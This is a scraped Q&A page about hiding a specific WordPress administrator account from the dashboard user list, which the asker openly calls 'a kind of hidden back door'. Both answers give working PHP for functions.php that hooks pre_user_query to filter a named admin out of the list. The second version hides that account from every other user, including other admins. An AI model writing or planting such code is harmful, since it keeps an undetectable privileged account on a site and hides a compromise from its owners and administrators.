Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

Hide A Particular Admin Account From Wordpress User List

I'd like to create an admin user in Wordpress and then hide it from the users list in the wordpress dashboard, as a kind of hidden back door. I am not trying to hide all admins, only a particular one.

Any help is greatly appreciated.

like image 943
john-marcello Avatar asked Jan 04 '14 14:01

john-marcello


2 Answers

You can do this with a custom function in your functions.php. Here is an example :

add_action('pre_user_query','yoursite_pre_user_query');
function yoursite_pre_user_query($user_search) {
  global $current_user;
  $username = $current_user->user_login;

  if ($username == '<USERNAME OF OTHER ADMIN>') { 
    global $wpdb;
    $user_search->query_where = str_replace('WHERE 1=1',
      "WHERE 1=1 AND {$wpdb->users}.user_login != '<YOUR USERNAME>'",$user_search->query_where);
  }
}

Or you can use a plugin for this; http://wordpress.org/plugins/user-role-editor/

like image 185
Xavier Avatar answered Oct 05 '22 07:10

Xavier


Combining the answer of "angezanetti", the question of "Natalia" and the response of "user3474007" to Natalia, this code will hide the user from all other users (including admins).

add_action('pre_user_query','yoursite_pre_user_query');
function yoursite_pre_user_query($user_search) {
  global $current_user;
  $username = $current_user->user_login;

  if ($username != 'hiddenuser') { 
    global $wpdb;
    $user_search->query_where = str_replace('WHERE 1=1',
      "WHERE 1=1 AND {$wpdb->users}.user_login != 'hiddenuser'",$user_search->query_where);
  }
}
like image 23
Awais Umar Avatar answered Oct 05 '22 07:10

Awais Umar